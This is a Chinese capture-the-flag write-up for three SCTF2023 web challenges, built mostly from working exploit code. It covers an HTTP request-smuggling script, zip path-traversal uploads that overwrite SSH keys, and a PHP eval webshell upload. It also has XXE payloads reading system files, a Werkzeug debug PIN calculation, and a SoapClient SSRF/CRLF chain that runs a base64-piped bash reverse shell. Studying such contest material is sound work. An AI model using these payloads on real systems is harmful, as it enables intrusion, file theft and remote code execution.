SCTF2023

SCTF2023 Web WriteUp

ezcheck1n

关注到这里海报是2022的

image-20230619122518962

访问这个图片的路径,不能拼接在2023之后

image-20230619122720137

路径加上2023的话,防问啥都会rewrite到2023.php,肯定是写了配置的

image-20230619122655650

这种配置的绕过最常见的思路就是走私:https://xz.aliyun.com/t/12345

直接搬里面的脚本了,稍微改下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import urllib

from pwn import *

def request_prepare():
    uri = b'/2023/2023.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aUser-Agent:%20curl/7.68.0%0d%0a%0d%0a' + b'POST%20/2022.php%3Furl%3Dxx%2Exx%2Exx%2Exx%3A8899'
    req = b'''GET %b HTTP/1.1\r
Host: 127.0.0.1:80\r
\r
''' % uri
    return req


def send_and_recive(req):
    rec = b''
    ip = '115.239.215.75'
    port = 8082
    p = remote(ip, int(port))
    p.send(req)
    rec += p.recv()
    print(rec.decode())
    p.close()
    return rec.decode()


req = request_prepare()
print(req)
# print(urllib.parse.unquote(req.decode()))
f = open('req.txt', 'wb')
f.write(req)
f.close()
res = send_and_recive(req)
f = open('res.txt', 'wb')
f.write(res.encode())
f.close()

image-20230619123005204

SycServer

bin文件跑起来是有路由的,根据名字也很好猜

image-20230619123613949

File-unarchiver路由可传zip后解压,这里测试是发现可以目录穿越的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import requests
import zipfile

z = zipfile.ZipFile(f'test.zip', 'w', zipfile.ZIP_DEFLATED)
z.writestr(f'../../../test.txt', b'qwe')
z.close()

url = 'http://x.x.x.x:8888/file-unarchiver'
files = [('file', ('test.tar.gz', open('test.zip', 'rb'), 'application/zip'))]
resp = requests.post(url, files=files)

fileread路由读文件没啥好说的

image-20230619124059227

readir这个我倒是一直没用上,主要因为他好像确实用不了。。

最后的admin路由,直接跑会说找不到/home/vanzy/.ssh/id_rsa

image-20230619124238412

给服务器加个vanzy用户配置下公私钥,再跑admin路由会发现这里dial本地的2221端口连接失败了

image-20230619123528819

所以可以肯定这个路由是读取本地的私钥去认证本地的ssh服务

所以这里攻击的思路也清晰了,就是覆盖vanzy用户的公私钥,公钥中写入command,然后访问admin路由去触发ssh连接执行command

我的做法是vps上adduser 一个vanzy,ssh-keygen -t rsa

修改id_rsa.pub,添加command后,脚本一把嗦

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import zipfile
import os

def fuck_priv():
    z = zipfile.ZipFile(f'priv.zip', 'w', zipfile.ZIP_DEFLATED)
    private_key = open('./id_rsa', 'rb').read()
    z.writestr(f'../../../../../home/vanzy/.ssh/id_rsa', private_key)
    z.close()
    files = [('file', ('priv.zip', open('priv.zip', 'rb'), 'application/zip'))]
    resp = requests.post(url, files=files)


def fuck_pub():
    z = zipfile.ZipFile(f'pub.zip', 'w', zipfile.ZIP_DEFLATED)
    public_key = open('./id_rsa.pub', 'rb').read()
    z.writestr(f'../../../../../home/vanzy/.ssh/authorized_keys', public_key)
    z.close()
    files = [('file', ('pub.zip', open('pub.zip', 'rb'), 'application/zip'))]
    resp = requests.post(url, files=files)

url = 'http://119.13.91.238:8888/file-unarchiver'

fuck_priv()
fuck_pub()

url2 = 'http://119.13.91.238:8888/admin'
resp_2 = requests.get(url2)

url1 = 'http://119.13.91.238:8888/readfile?file=/home/vanzy/huamang.txt'
resp_1 = requests.get(url1)
print(resp_1.text)

os.system('rm -rf priv.zip')
os.system('rm -rf pub.zip')

image-20230619125937698

pypyp?

很折磨的一道题

一进去啥都没有,就说session不存在,所以这里的解决方案是直接session_upload

https://xz.aliyun.com/t/9545

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /index.php HTTP/1.1
Host: 115.239.215.75:8081
Content-Length: 360
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymEq0o60RkRmbFHie
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: PHPSESSID=huamang
Referer: http://115.239.215.75:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close


------WebKitFormBoundarymEq0o60RkRmbFHie
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

123
------WebKitFormBoundarymEq0o60RkRmbFHie
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php @eval($_POST['pass']);?>
------WebKitFormBoundarymEq0o60RkRmbFHie--

发包后得到源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
    error_reporting(0);
    if(!isset($_SESSION)){
        die('Session not started');
    }
    highlight_file(__FILE__);
    $type = $_SESSION['type'];
    $properties = $_SESSION['properties'];
    echo urlencode($_POST['data']);
    extract(unserialize($_POST['data']));
    if(is_string($properties)&&unserialize(urldecode($properties))){
        $object = unserialize(urldecode($properties));
        $object -> sctf();
        exit();
    } else if(is_array($properties)){
        $object = new $type($properties[0],$properties[1]);
    } else {
        $object = file_get_contents('http://127.0.0.1:5000/'.$properties);
    }
    echo "this is the object: $object <br>";

?>

看到http://127.0.0.1:5000/条件反射了,国赛刚出了这种

先看前面,利用extract 变量覆盖掉 type 和 properties,完成原生类反序列化

用SimpleXMLElement进行文件读取

1
2
3
4
5
<?php
$class = 'SimpleXMLElement';
$evilxml = '<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY file SYSTEM  "file:///etc/passwd">]><xxe>&file;</xxe>';
$arr = array('properties' => array($evilxml, '2'),'type'=>$class);
echo serialize($arr);

image-20230619130412633

读/app/app.py,看到这个我只能说——典!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from flask import Flask

app = Flask(__name__)

@app.route('/')
def index():
    return 'Hello World!'

if __name__ == '__main__':
    app.run(host="0.0.0.0",debug=True)q	

开了debug,两条路,一个覆盖一个算pin

这里注意到,会调用任意类的call方法

1
2
3
4
if(is_string($properties)&&unserialize(urldecode($properties))){
  $object = unserialize(urldecode($properties));
  $object -> sctf();
  exit();

覆盖暂时没找到原生类的call方法可以覆盖写文件的,而有个原生类的call是经常用:SoapClient

可以用他的ssrf和crlf打组合拳,这样我们就可以把cookie塞入

本地测试了下确实可以的crlf

image-20230619134753956

接下里就是伪造cookie了本地抓包看到cookie的格式

image-20230619131401588

代码执行的包

image-20230619131437325

有三个注意点

  • secret
  • cookiename
  • 签名

时间戳不影响使用

1
__wzddaa5b8d4dbffc03511fb=1687108743|3cf629099dfb

这里直接去翻flask的源码,这里他的cookie、pin的生成是利用了werkzeug,定位到代码里

注意最好是拉个python3.8的环境,我本以为我本机3.9环境算法会和3.8一样,但是事实证明有区别,这个坑踩了好久没排掉 :(

首先是pin码和cookiename的计算:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
def get_pin_and_cookie_name(
    app: WSGIApplication,
) -> tuple[str, str] | tuple[None, None]:
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    if pin == "off":
        return None, None

    if pin is not None and pin.replace("-", "").isdecimal():
        if "-" in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
    username: str | None

    try:
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]

    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name

得到了pin以后可以计算cookie,代码简化一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]

...
...
if auth:
  rv.set_cookie(
    self.pin_cookie_name,
    f"{int(time.time())}|{hash_pin(pin)}",
    httponly=True,
    samesite="Strict",
    secure=request.is_secure,
  )

这样就串联起来了,这里有点小坑点,就是phthon库的位置得确定一下

然后读文件

1
2
3
4
5
6
7
8
a:2:{s:10:"properties";a:2:{i:0;s:114:"<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY file SYSTEM  "file:///sys/class/net/eth0/address">]><xxe>&file;</xxe>";i:1;s:1:"2";}s:4:"type";s:16:"SimpleXMLElement";}
02:42:ac:13:00:02 -> 2485378023426

a:2:{s:10:"properties";a:2:{i:0;s:118:"<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY file SYSTEM  "file:///proc/sys/kernel/random/boot_id">]><xxe>&file;</xxe>";i:1;s:1:"2";}s:4:"type";s:16:"SimpleXMLElement";}
349b3354-f67f-4438-b395-4fbc01171fdd

a:2:{s:10:"properties";a:2:{i:0;s:104:"<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY file SYSTEM  "file:///proc/self/cgroup">]><xxe>&file;</xxe>";i:1;s:1:"2";}s:4:"type";s:16:"SimpleXMLElement";}
96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687

整合一下脚本就是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'app',
    'flask.app',
    'Flask',
    '/usr/lib/python3.8/site-packages/flask/app.py'
]

private_bits = [
    '2485378023426',
    '349b3354-f67f-4438-b395-4fbc01171fdd96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(hashlib.sha1(f"{rv} added salt".encode("utf-8", "replace")).hexdigest()[:12])

print(cookie_name)
print(rv)

image-20230619132741322

最后打SSRF+CRLF即可

这里也有坑点,payload中不能有url编码,不然php这里不能反序列化,很难受,而payload也不能有空格,不然flask那边会报400

最后poc

1
2
3
4
5
6
7
8
<?php
$class = serialize(new SoapClient(null, array(
    'location' => 'http://127.0.0.1:5000/console?__debugger__=yes&cmd=__import__("os").popen("echo${IFS}\"base64数据\"|base64${IFS}-d|bash").read()&frm=0&s=DhOJxtvMXCtezvKtqaK9',
    'user_agent'=>"Huamang\r\nCookie: __wzdb2a60e2b19822632a67c=1687308743|11b8517fb9fb",
    'uri' => "http://127.0.0.1:5000/")));
$arr = array('properties' => $class );
$payload = serialize($arr);
echo $payload;

反弹shell到手后需要提权,简单suid即可

image-20230619132947883

image-20230619132959910

Licensed under CC BY-NC-SA 4.0